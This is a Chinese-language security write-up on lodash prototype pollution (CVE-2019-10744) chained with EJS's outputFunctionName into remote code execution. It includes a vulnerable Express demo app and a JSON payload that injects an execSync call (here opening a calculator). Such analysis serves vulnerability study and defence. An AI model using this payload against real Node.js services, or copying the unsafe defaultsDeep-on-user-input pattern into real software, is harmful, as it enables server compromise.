本文最后编辑于 前,其中的内容可能需要更新。
Express+lodash+ejs原型链污染RCE lodash.defaultsDeep 方法造成的原型链污染(CVE-2019-10744) 2019 年 7 月 2 日,Snyk 发布了一个高严重性原型污染安全漏洞 (CVE-2019-10744),影响了小于 4.17.12 的所有版本的 lodash。
Lodash 库中的 defaultsDeep
函数可能会被包含 constructor
的 Payload 诱骗添加或修改Object.prototype
1 2 3 4 5 6 7 8 9 const mergeFn = require('lodash').defaultsDeep; const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}' function check() { mergeFn({}, JSON.parse(payload)); console.log(Object.whoami) } check();
原型链->RCE 简单的应用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 const express = require('express'); const bodyParser = require('body-parser'); const lodash = require('lodash'); const ejs = require('ejs'); const app = express(); app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) app.set('views', './'); app.set('view engine', 'ejs'); app.get("/", (req, res) => { res.render('index'); }); app.post("/", (req, res) => { let data = {}; let input = JSON.parse(req.body.content); lodash.defaultsDeep(data, input); res.json({message: "OK"}); }); let server = app.listen(8086, '0.0.0.0', function() { console.log('Listening on port %d', server.address().port); });
断点res.render(‘index’);调试之后来到ejs库的compile函数
这里有个命令注入,outputFunctionName默认undefined,利用lodash.defaultsDeep污染outputFunctionName键,造成命令注入。
payload
{"type":"constructor","content":{"constructor":{"prototype":{"outputFunctionName":"a;return global.process.mainModule.constructor._load('child_process').execSync('open -a calculator');//"}}}}
污染之后
post之后get访问/触发render